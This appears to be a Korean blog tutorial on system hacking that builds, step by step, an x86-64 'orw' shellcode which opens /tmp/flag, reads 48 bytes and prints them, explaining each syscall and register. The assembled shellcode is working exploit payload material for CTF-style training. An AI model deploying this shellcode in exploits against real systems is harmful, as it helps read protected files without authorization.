System Hacking/Basics

[시스템 해킹] 셸코드(Shellcode) 1- orw 셸코드 작성 open & read & write

hanbunny 2025. 3. 10. 15:15

셸코드(Shellcode)?

익스플로잇을 위해 제작된 어셈블리어로 작성된 작은 코드 조각임.

주로 셸을 획득하기 위해 셸코드를 사용한다.

 

*익스플로잇은 소프트웨어나 하드웨어의 취약점을 이용해 개발자가 의도하지 않은 동작을 유발하는 코드나 기법.

 

orw셸코드

파일을 열고(open), 읽은(read) 뒤 화면에 출력(write)해주는 셸코드이다.

 

구현하려는 셸코드의 동작을 C언어 형식의 의사코드로 표현하면 아래와 같다.

char buf[0x30];  // 0x30(48) 바이트 크기의 버퍼 선언 (데이터를 저장할 메모리 공간)

int fd = open("/tmp/flag", RD_ONLY, NULL);  // "/tmp/flag" 파일을 읽기 전용(RD_ONLY)으로 열고 파일 디스크립터(fd) 반환
                                           // NULL은 파일 생성 시 권한 설정으로, 읽기만 할 것이므로 필요 없음

read(fd, buf, 0x30);  // 열린 파일(fd)에서 최대 0x30 바이트를
                      // 앞서 선언한 버퍼(buf)에 읽어들임

write(1, buf, 0x30);  // 버퍼(buf)의 내용을 표준 출력(fd=1)에
                      // 0x30 바이트만큼 출력함

 

위 의사코드를 따라 orw Shellcode를 작성하려면 아래와 같은 syscall이 필요하다.

syscall
rax
arg0 (rdi)
arg1 (rsi)
arg2 (rdx)
read
0x00
unsigned int fd
char *buf
size_t count
write
0x01
unsigned int fd
const char *buf
size_t count
open
0x02
const char *filename
int flags
umode_t mode

 

표를 보면 rax레지스터에 어떤 시스템 콜 번호를 넣어야 하는지,

각 함수의 인자들은 어떤 레지스터(rdi, rsi, rdx)에 넣어야 하는지 보여준다.

 

이제 위에서 작성한 의사코드를 syscall을 사용해 한줄씩 구현해볼거임.

 


int fd = open(“/tmp/flag”, O_RDONLY, NULL)

syscall
rax
arg0 (rdi)
arg1 (rsi)
arg2 (rdx)
open
0x02
const char *filename
int flags
umode_t mode

 

1. 문자열 /tmp/flag 저장하기

push 0x67
mov rax, 0x616c662f706d742f 
push rax

가장 먼저 "/tmp/flag"라는 문자열을 메모리에 위치시켜야한다.

스택에 0x67616c662f706d742f를 push해 위치시켜 줄거임.

 

참고로 x86-64는 리틀 엔디안 방식을 사용하기 때문에, 문자열을 거꾸로 저장해야 한다.

 

orw shellcode - open

 

2. 레지스터 설정

mov rdi, rsp     ; rdi = "/tmp/flag"
xor rsi, rsi     ; rsi = 0 ; RD_ONLY
xor rdx, rdx     ; rdx = 0
mov rax, 2       ; rax = 2 ; syscall_open

 

 

  • mov rdi, rsp: 스택 포인터(rsp)를 첫 번째 인자 레지스터(rdi)에 복사. 이제 rdi는 스택에 저장된 /tmp/flag 문자열의 주소를 가리킨다.
  • xor rsi, rsi: rsi를 0으로 설정한다. 이건 O_RDONLY(읽기 전용) 플래그를 의미한다. (xor reg, reg는 레지스터를 0으로 설정하는 방법)
  • xor rdx, rdx: rdx를 0으로 설정한다. 이건 파일을 생성할 때만 사용되는 권한 모드인데, 파일을 읽기만 할 것이므로 0으로 설정한다.
  • mov rax, 2: rax에  open 시스템 콜의 번호인 2를 저장합니다.

3. 시스템 콜 실행

syscall     ; open("/tmp/flag", RD_ONLY, NULL)

커널은 rax 레지스터의 값(2)을 보고 open 시스템 콜을 실행한다.

open 시스템 콜이 성공하면, 파일 디스크립터(정수 값)가 rax에 반환된다. 이 값은 다음 read 시스템 콜에서 사용된다.

 

 

4. 구현

push 0x67
mov rax, 0x616c662f706d742f 
push rax
mov rdi, rsp    ; rdi = "/tmp/flag"
xor rsi, rsi    ; rsi = 0 ; RD_ONLY
xor rdx, rdx    ; rdx = 0
mov rax, 2      ; rax = 2 ; syscall_open
syscall         ; open("/tmp/flag", RD_ONLY, NULL)

 

 

read(fd, buf, 0x30)

 
syscall
rax
arg0 (rdi)
arg1 (rsi)
arg2 (rdx)
read
0x00
unsigned int fd
char *buf
size_t count

 

 

1. 파일 디스크립터 설정

mov rdi, rax     ; rdi = fd (파일 디스크립터)

 

  • 이전 open 시스템 콜의 결과(파일 디스크립터)는 rax 레지스터에 저장된다.
  • read 시스템 콜은 첫 번째 인자로 파일 디스크립터를 필요로 하며, 이 인자는 rdi 레지스터를 통해 전달됨.
  • 따라서 rax의 값(파일 디스크립터)을 rdi로 옮겨서 read 함수가 올바른 파일을 읽도록 한다.

2. 버퍼 주소 설정

sub rsp, 0x30   ; 스택에 0x30 바이트 공간 확보
mov rsi, rsp    ; rsi = 버퍼 주소

 

  • 스택을 사용하여 임시 버퍼 공간을 만들려고 함.
  • 파일에서 0x30(48) 바이트를 읽어올 예정이므로, 최소 그 크기의 버퍼가 필요하다.
  • 스택은 위에서 아래로 성장하므로(높은 주소에서 낮은 주소로), 스택 포인터(rsp)에서 0x30만큼 빼면 새로운 공간이 확보됨.
  • sub rsp, 0x30은 스택 포인터를 0x30만큼 감소시켜 새 공간을 확보.
  • 그런 다음 mov rsi, rsp를 통해 이 새로 확보된 공간의 시작 주소를 rsi에 저장함.
  • 결과적으로 rsi는 0x30 바이트 크기의 빈 버퍼를 가리키게 된다.

3. 읽을 바이트 수 설정

mov rdx, 0x30    ; rdx = 0x30 (읽을 바이트 수)

 

 

 

  • rdx 레지스터는 read 시스템 콜의 세 번째 인자인 '읽을 바이트 수'를 지정.
  • 0x30(48)은 C 의사코드에서 지정한 버퍼 크기와 일치.

4. 시스템 콜 번호 설정/ 실행

xor rax, rax     ; rax = 0 (read 시스템 콜 번호)
syscall          ; read(fd, buf, 0x30)

 

 

  • read 시스템 콜의 번호는 0이다. (xor rax, rax는 rax를 0으로 설정하는 방법)
  • 이제 모든 레지스터가 설정되었으므로 syscall 명령어로 read 시스템 콜을 실행한다.
  • 실행 결과로 rax에는 실제로 읽은 바이트 수가 반환된다.

5. 구현

mov rdi, rax      ; rdi = fd
mov rsi, rsp
sub rsi, 0x30     ; rsi = rsp-0x30 ; buf
mov rdx, 0x30     ; rdx = 0x30     ; len
mov rax, 0x0      ; rax = 0        ; syscall_read
syscall           ; read(fd, buf, 0x30)

 

 

 

write(1, buf, 0x30)

syscall
rax
arg0 (rdi)
arg1 (rsi)
arg2 (rdx)
write
0x01
unsigned int fd
const char *buf
size_t count

 

1. 파일 디스크립터 설정

mov rdi, 0x1    ; rdi = 1 (stdout 파일 디스크립터)

 

  • write 시스템 콜의 첫 번째 인자는 데이터를 쓸 파일 디스크립터.
  • 리눅스 시스템에서 표준 출력(stdout)의 파일 디스크립터는 1이다.
  • 따라서 rdi에 1을 저장하여 데이터를 화면에 출력하도록 지정.

2. 버퍼 주소 설정

; rsi는 read에서 사용한 값을 그대로 사용

 

 

  • write 시스템 콜의 두 번째 인자는 출력할 데이터가 저장된 버퍼의 주소이다.
  • 이전 read 시스템 콜에서 rsi는 이미 버퍼의 주소(스택에 확보한 공간)를 가리키고 있다.
  • 같은 데이터를 출력하려는 것이므로, rsi 값을 변경할 필요가 없다.

3. 출력할 바이트 수 설정

; rdx는 read에서 사용한 값을 그대로 사용

 

 

  • write 시스템 콜의 세 번째 인자는 출력할 바이트 수.
  • 이전 read 시스템 콜에서 rdx에는 이미 0x30(48)이 저장되어 있다.
  • 읽은 데이터를 모두 출력하려는 것이므로, rdx 값을 변경할 필요가 없다.
  • (참고: 최적화를 위해서는 read의 반환값(실제로 읽은 바이트 수)을 사용할 수도 있다.)

4. 시스템 콜 번호 설정/ 실행

mov rax, 0x1    ; rax = 1 (write 시스템 콜 번호)
syscall         ; write(1, buf, 0x30)

 

 

  • write 시스템 콜의 번호는 1.
  • 따라서 rax에 1을 저장한다.
  • 이제 모든 레지스터가 설정되었으므로 syscall 명령어로 write 시스템 콜을 실행한다.
  • 실행 결과로 rax에는 실제로 쓴 바이트 수가 반환된다.

5. 구현

mov rdi, 1        ; rdi = 1 ; fd = stdout
mov rax, 0x1      ; rax = 1 ; syscall_write
syscall           ; write(fd, buf, 0x30)

 

 

 

최종 구현

;Name: orw.S

push 0x67
mov rax, 0x616c662f706d742f 
push rax
mov rdi, rsp    ; rdi = "/tmp/flag"
xor rsi, rsi    ; rsi = 0 ; RD_ONLY
xor rdx, rdx    ; rdx = 0
mov rax, 2      ; rax = 2 ; syscall_open
syscall         ; open("/tmp/flag", RD_ONLY, NULL)

mov rdi, rax      ; rdi = fd
mov rsi, rsp
sub rsi, 0x30     ; rsi = rsp-0x30 ; buf
mov rdx, 0x30     ; rdx = 0x30     ; len
mov rax, 0x0      ; rax = 0        ; syscall_read
syscall           ; read(fd, buf, 0x30)

mov rdi, 1        ; rdi = 1 ; fd = stdout
mov rax, 0x1      ; rax = 1 ; syscall_write
syscall           ; write(fd, buf, 0x30)

ORW 쉘코드 실행 과정